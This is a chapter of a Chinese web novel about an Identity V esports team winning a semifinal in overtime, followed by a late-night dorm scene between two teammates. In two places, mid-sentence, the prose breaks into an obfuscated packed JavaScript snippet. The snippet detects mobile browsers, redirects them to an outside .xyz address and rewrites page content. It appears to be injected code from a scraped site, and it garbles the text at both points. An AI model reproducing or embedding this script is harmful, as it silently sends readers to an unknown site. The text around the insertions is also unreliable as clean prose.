看清楚这几个字的时候,祝清嘉的第一反应是,这特么也行?? 宋时谨说:“只要思想不滑坡,办法总比困难多。” 钟情:“有理由怀疑你在内涵我。” “知道就好,”宋时谨随手把药盒抛到钟情怀里,“你也别骚扰人家想念了,吃片布洛芬吧,止疼效果比膏药好。” 短暂的中场休息结束,半决赛正式开始。 PUZ众人刚打完一个bo5,难免有些疲惫,总体状态不高,而YU是联赛T1水平的顶尖强队。 战况一度非常焦灼,两支战队打完五场后大小比分全平,进入了加时赛。 加时赛宋时谨先上,他根据对面的阵容,选了一手蜘蛛。 现在已经接近半夜十二点了,一整天的比赛下来,别说是选手,就连粉丝和观众都看累了,应援声明显没有刚开赛时的有精神。 但蜘蛛的形象出现在屏幕中央的那一刻,现场的情绪还是瞬间高涨了起来。 “Cynthia这边锁了蜘蛛??”解说甲有点意外,但很快冷静下来分析起了局势,“从阵容上来看,这个选择是没问题的。虽然蜘蛛现版本的强度不高,但在比赛bo6禁用了十三名求生者角色的情况下,蜘蛛面对这个阵容还是有一战之力的。” 解说乙感慨了一句:“真是好久没在赛场上看到娅神的蜘蛛了,我都想不起来这个角色上次在联赛登场是什么时候的事了。” 随着版本的更迭,蜘蛛在游戏里的胜率和出场率都是垫底的存在,比赛更是无人问津,估计把蜘蛛从比赛服里删掉半年都不会有人发现。 直播间很快被各种质疑的弹幕刷屏了。 【不是哥们,他认真的?就这么水灵灵地锁了??】 【先相信吧,辛西娅这么选一定有他的道理。】 【这能有啥道理,他平时打排位蜘蛛看都不看一眼的,我甚至怀疑他还记不记得蜘蛛的技能是什么。】 【去年蜘蛛角色纪念日的时候,辛西娅为了完成游戏任务,排位拿了一把蜘蛛惨遭对手三跑,赛后给自己挽尊说这版本蜘蛛玩不了一点。】 …… 祝清嘉趁着bp的时候去洗手间洗了把脸,简单调整了一下状态,回备战间时比赛刚好进入游戏画面。 解说甲:“Cynthia开局选在鬼板,那他的目标很明确,就是要抓鬼屋里面的机械师。” 机械师把自己的娃娃丢在鬼屋门口,本体往鬼屋桥的方向拉点,宋时谨处理完娃娃后,本体已经拉点到了终点站的位置。 解说乙:“这一局YU是准备放养这个机械师了吗?电机桥上的拉拉队员开局直接抢电机,没有帮机械点站台。” 解说甲:“可是如果不玩过山车的话,机械想靠自己单溜蜘蛛难如登天啊。” 机械趁着蜘蛛打娃娃的时间,拉点拉了十万八千里,不过好在蜘蛛不怕开局逛街,宋时谨等手里的蛛丝攒够后,正式进入追击节奏。 三层蛛丝接一个闪现,机械师原地蒸发。 即便如此,场上电机依然修了两台半,局势偏向于平局。 备战间里,冷落说:“YU电机好快。” 钟情吐槽:“这邮差薄情寡性,开局有一封窗弹信舍不得送给机械,无脑送了两封修机信,电机肯定飞快。” 看到这里,祝清嘉已经明白YU的意图了,他们就是想快速保平给PUZ人队压力。 加时赛如果两支战队得分相同,则求生逃生时间更短的一方获胜,如果人队都被四杀,则监管淘汰时间短的一方获胜。 解说甲:“杂技刚好修完手里的电机,过来给机械师套搏命。机械搏命红圈往地图角落躺,Cynthia直接茧刑抢节奏了!” 解说乙分析了一下局势:“看场上求生的走位,应该是不准备救这个机械师了。辛西娅手里技能还在cd,蛛丝也不多了,感觉很难续上节奏了。” 解说甲:“是的,面对这种速修阵容,蜘蛛想保平是容易的,但争胜实在是太难了,现在辛西娅可能要考虑一下怎么尽可能地多拖一点时间了。” 挂飞机械师后,宋时谨操纵着蜘蛛往外压,径直奔向了三站的拉拉队员。 身位贴近后,宋时谨架了一层蛛丝,所有人都以为他准备追脸上的拉拉队员了。 下一秒,宋时谨忽然转了一下视角,朝2.5站修机的邮差隔桥吐了一口蛛丝—— 居然真的命中了!! 在吐丝命中的瞬间,宋时谨没有丝毫犹豫,果断切移形过桥。 躲狗、骗飞轮、紧接着又一口吐丝精准命中,接了个平a把邮差秒在了遗产机旁边。 前后只花了二十秒的时间,局势顷刻间反转。 解说甲声音都不自觉高了不少:“我早就说了第五人格是个狙击游戏吧!!!邮差连心跳都没有,这口奇迹流吐丝居然真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872772|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能中。” 解说乙:“而且辛西娅移形的位置非常巧妙,刚好拦住了邮差准备上车的路,过山车就停在二站,这波蜘蛛如果切传送的话,邮差是有机会坐过山车带走遗产的。” 在邮差倒在遗产机的那一刻起,这场游戏彻底进入了宋时谨的节奏。 杂技还没来得及补血,是一口吐丝倒地的状态,外面只有一个满血的拉拉队员。 电机差两个半台,但是邮差的遗产被死死控住,根本修不了。 YU人队最后垂死挣扎了一下,在四分三十秒的时候被宋时谨四抓了。 在最后一位求生者挂上狂欢之椅的那一刻,宋时谨调整了自己的视角朝向,让蜘蛛的模型正对着游戏镜头,做了一个行礼的动作。 画面中,蜘蛛向在场的观众高高举起了自己的机械义肢,是她在舞台上无声的谢幕。 【啊啊啊啊啊啊就是这个四杀爽!!!下半场PUZ人队爬也给我爬一个出去!!】 【辛西娅:不好意思,b瘾犯了,得装一下。】 【孩子正是爱装逼的年纪,让他装!!!打比赛赢了不装等于没赢!】 【我草家人们这局打完刚好十二点,新年到了。】 【新年快乐!祝小破游越来越好!】 【能在旧年的最后一天为大家献上精彩的演出,瓦尔莱塔很高兴!】 【这就是竞男的浪漫吗,眼睛要掉小蜘蛛了。】 【而且地图还是月亮河公园,瓦尔莱塔是最出色的演员!!】 由于宋时谨在上半场先手四抓,下半场人队几乎没有什么压力,即便真的局势不对,只要拖够时间一样能赢。 最终人队以一个漂亮的三跑赢下了半决赛。 祝清嘉下场时,在后台碰到了来接YU屠夫下班的梧桐。 他快步走上去,抱了抱梧桐,说:“辛苦了,恭喜季军。” 梧桐回抱了一下:“明天冠亚加油,到时候我在观众席上给你举手幅。” 恰巧宋时谨也来接人队下班,众人有说有笑地往回走。 YU这个赛季的成绩是常规赛第二,季后赛第三,谈不上多满意,只能说不算差。 梧桐安抚了一下自家屠夫的情绪,又问宋时谨:“这手蜘蛛是你给决赛藏的底牌吗?” “不是,”宋时谨说,“前几天训练赛的时候打了两把,觉得手感还行,就拿出来试试。” “你管这叫手感还行??”梧桐没绷住,“你知道吗?半决赛前,我们当时沟通的战术就是跟你们拖后期。” “我们想着小娅刚打完一个bo5,拖到后期难免会操作下滑,然后事实证明我们想多了。千辛万苦拖进加时赛,结果发现这人的状态还是拉满,完全不是人。” 宋时谨点头:“想跟我拖后期,思路不错。” 梧桐彻底服了他了:“半决赛偶遇超模辛西娅,体力强如怪物,拼尽全力无法战胜。” 梧桐身在对局中,可能还没有意识到,但祝清嘉在备战间里用上帝视角看得非常清楚。 宋时谨击倒邮差的时候,身上的蛛丝只剩下十点不到。 这一整局游戏中,他没有一层蛛丝是浪费的,每一点蛛丝都被他利用到了极致,发挥了最大的价值。 在高强度地打了整整十局后,宋时谨依然能展现出这样顶尖的操作、对局势变化的掌控力,确实恐怖如斯。 但祝清嘉又忍不住想,那代价是什么呢? 是他手上的肌效贴,还是他上场前匆忙吞下的胶囊? 经理说他打了封闭都没有起到很好的缓解效果,布洛芬难道能比封闭针还好用吗? 20. 夜谈 回到俱乐部时,已经是半夜两点了。 半决赛的赛程安排得太紧凑,不过祝清嘉自认为体力还不错,虽然有点累,但更多的是兴奋。 直到他洗漱完毕爬上床,都还没从这种激动的心情中完全抽离出来。 祝清嘉在床上翻来覆去半天都没睡着,索性打开手机,看到五分钟前梧桐给他发了个视频。视频点开,是YU的选手在KTV团建唱歌。 「梧桐:放假咯,爽。」 「梧桐:你今天比赛加油,我等着蹭你的冠军饭^^」 除了梧桐之外,还有不少之前直播时同平台的同事、其他战队的职业选手发来的祝贺,祝清嘉都一一打字回复了。 回完消息,祝清嘉依然没感受到多少睡意。他在论坛和b站中纠结了一下,随后打开了后者,恰巧看到自己关注的一位up主更新了视频。 视频标题上写着:Cynthia联赛登场一千六百五十天纪念。 发布时间是前一天中午,短短半天过去,播放已经超过百万。 这个up平时是做赛事相关视频混剪的,质量都非常高,就连联赛官方都关注了她,偶尔还会转发。 祝清嘉以为是宋时谨的高燃操作集锦,就点进去看了一会。 然后发现这个视频里有关游戏的内容其实很少,更多时候画面的主角都是宋时谨这个人。 有他的联赛首秀,十八岁时的他第一次接受赛后采访尚且有些局促和尴尬,到后来面对主持刁钻的提问都能从容淡定地已读乱答。 时间好像真的可以改变很多东西,一个人的样貌、习惯甚至性格,但也有些东西从未改变。 每个赛季的最后一场比赛结束,无论成绩是好是坏,宋时谨都会在下台的时候,面朝观众席上PUZ应援区的方向深鞠一躬。 官方的镜头只会聚焦在胜者身上,但粉丝的镜头会追随着他在漫天金雨中离场的背影。 祝清嘉五分钟看完了宋时谨五年的职业生涯。 在视频的最后,有一个简单的数据统计。 截止到2024年12月31日,Cynthia是全联赛唯一一位全勤选手。五年的职业生涯中,四亚三季,他曾很多次在必四局中创造奇迹,也曾很多次的无能为力。 这或许才是电竞的常态吧。 偶尔翻盘、常常尽力、总是遗憾。 视频播放结束,祝清嘉顺手划到评论区,看到热评第一是这样写的:辛西娅,这次不鞠躬了,我们想看你捧杯。 莫名的,祝清嘉共情到了这位粉丝的心情。 想看他捧杯,想和他一起捧杯。 虽然祝清嘉对宋时谨这个人有偏见,但无法否认的是,至少作为一名职业选手来说,他足够真诚,也称职敬业。 祝清嘉心想,也该有一场金雨,是为他而下的吧。 浴室里的水声不知什么时候停了,宋时谨洗完澡出来,头发擦到半干,他从抽屉里翻出吹风机,准备吹头发。 拉抽屉、拿吹风机、接上电源,一系列动作都是左手完成的,所以看起来会有一点别扭。 屏幕左边是控制方向的摇杆,右边是绝大多数的操作键。因此大部分职业选手的手伤都是右手严重一些,宋时谨也不例外。 布洛芬有没有他说的那么有效姑且不论,就算真的比神药还好用,这会药效也差不多要过了吧? 祝清嘉坐在自己的床上,看了两秒,然后翻身下床:“我帮你吹吧。” 宋时谨手上的动作微微一顿:“为什么?” “没有为什么,”祝清嘉接过了宋时谨手中的吹风机,摁着他的肩膀把人按在了椅子上,“帮你吹头发你还不乐意了。” 祝清嘉站在他身后,宿舍里只开了一盏小夜灯,四周都很安静,只有吹风机运作时发出的嗡嗡声。 暖风偶尔拂过宋时谨的脸颊时,他的眼睫会小幅度地快速眨动一下,像是蝴蝶在风中轻颤的翅羽。 祝清嘉透过桌面镜观察了一会,觉得很有意思,好几次故意把风往他脸上吹。 最开始宋时谨以为他是不小心的,如此反复几次,终于意识到这人是故意不小心的。 “……你玩够了吗?” 祝清嘉的小动作被发现,只好收回自己暗戳戳的小心思,专心吹起了头发。 两个人的距离挨得很近,甚至可以闻到彼此身上沐浴液的气味。 宋时谨后颈处的皮肤白皙细腻,或许是因为刚洗完澡的缘故,此刻还泛着淡淡的薄红。 有一粒细小的水珠从他的发梢滚落下来,沿着修长的颈部线条洇入衣领,留下一道清晰的水痕。 祝清嘉无意识地咽了下唾沫,然后鬼使神差地伸出手,用拇指抹去了那道蜿蜒的水痕。 感受到后颈处温热的触感,宋时谨轻轻抬眸,通过镜子,两个人的视线有了一瞬间的交汇。 下一秒,祝清嘉动作飞快地撇开目光,像做了什么坏事似的,莫名有点心虚。 或许是吹风机的风太热,祝清嘉只觉得自己的指腹都隐隐发烫。 宋时谨没说话,垂落的眼睫恰好遮住了他眼底的情绪,猜不到他正在想什么。 气氛一时间变得有些古怪,但祝清嘉没心思细想,满脑子都是赶紧吹干上床睡觉。 好在男生的头发很容易吹,没多久,发丝就在暖风中变得蓬松干燥。祝清嘉关掉吹风机,又顺手拨弄了一下他额前的碎发,简单地抓了个发型。 祝清嘉打量一会,对自己的发挥还挺满意的:“好了。” 他把吹风机收好,刚才那种微妙的感觉依然挥之不散,祝清嘉没敢在下面多逗留,动作麻利地爬到自己的床铺上,准备睡觉。 但是宋时谨好像没打算放过他,又问了一遍方才的问题:“为什么帮我吹头发?” 祝清嘉坐在床沿,一只腿搁在床板上,另一只踩在爬梯上,宋时谨站在下面,微微仰着脸和他对视。 祝清嘉根本不知道他在执着什么,只是帮忙吹个头发而已,难道还需要一二三四地列几条理由出来吗? 但宋时谨的表情很认真,就好像不得到一个答案不会轻易罢休一样。 “因为你有手伤,而且……” “可是钟情也有手伤,你会帮他吹头发吗?” 祝清嘉从他的语气中琢磨出了一点“是单给我一个人的,还是别的妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872773|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有”的味道。 他斟酌了一下自己的语气,没有正面回答会不会帮钟情吹头发这个问题,而是说:“反正钟情又不会让自己吃一点儿亏,他平时吃饭都巴不得让想念给他喂到嘴边。” 这话说出来,宋时谨就知道今天晚上是得不到他想听的答案了。他垂下视线,转身把桌上的小夜灯关上,也上床睡觉了。 祝清嘉闭上眼,脑海中却浮现出宋时谨刚才那个略带失望的神情,又有点心软了。 他轻声道:“宋时谨?” 大概过了两秒,下铺的人问:“怎么?” 祝清嘉只是忽然想起来,自己好像很久没有叫过他的名字了,于是就叫了一声。 但是这种理由说出来大概会被对方当成神经病。 祝清嘉随便诌了个理由:“马上要决赛了,我紧张,睡不着。” 宋时谨还没想好怎么安慰他,就听祝清嘉又问:“你会紧张吗?” “上场就不觉得紧张了。” 祝清嘉想了想,觉得这个回答就是会紧张的意思:“那你紧张的时候是怎么调理自己的?” 宋时谨心平气和道:“有时候比赛开始前,我会匹配打一把杰克,这样会产生一种我比赛能选到的屠夫强度都很超模的错觉。” “玩一把杰克心都死了,也就不觉得紧张了。” 虽然很没良心,但祝清嘉还是没忍住笑了起来:“主播主播,你的杰克确实很强,但还是太吃手法和操作了,有没有更加简单强势的英雄推荐一下?” 宋时谨不是很想搭理他的网络烂梗:“有官方镜头的时候别说英雄这个词,要罚款的,一万块。” “我被罚过。” 故事一下子变得有点虐心。 比赛一般默认前两个bo是监管版本,比谁家屠夫抓得多,等版本屠夫被禁完了,就比谁家求生跑得多。 版本强势的监管就那两个,但版本强势的求生有一堆,bo6禁掉十三个后还能选四个出来,打屠夫的压力有多大可想而知。 祝清嘉说:“等个深渊吧,今年深渊又是追击流的版本,你直接回到舒适圈。” 祝清嘉没忍住,畅想了一下,“到时候你bo1玩喧嚣随便杀,bo2对面禁掉跛脚羊,你还能拿个歌剧演员出来玩,爽。” 宋时谨问:“那bo3呢?” 祝清嘉反问他:“都让你玩到尊贵的喧嚣大人了,你还准备打bo3?我们人队会想办法连滚带爬走一个的。” 宋时谨的声音带上了几分笑意:“秋季赛还没打完呢,都想着深渊了。” 祝清嘉正要说些什么,却忽然想起来,宋时谨会不会打今年的深渊都还不一定呢。 于是房间里短暂地安静了一瞬。 宋时谨察觉到他情绪的异样,问:“怎么?还是紧张吗?” “没怎么,睡吧,我有点困了。” 祝清嘉的声音闷在被子里,听起来有点含糊。 宋时谨没多想,只是以为他累了,说了声晚安,两个人就都没再说话了。 黑暗中,祝清嘉轻轻翻了个身,心想,如果多一个冠军,能不能留他在这个赛场上再多一点时间。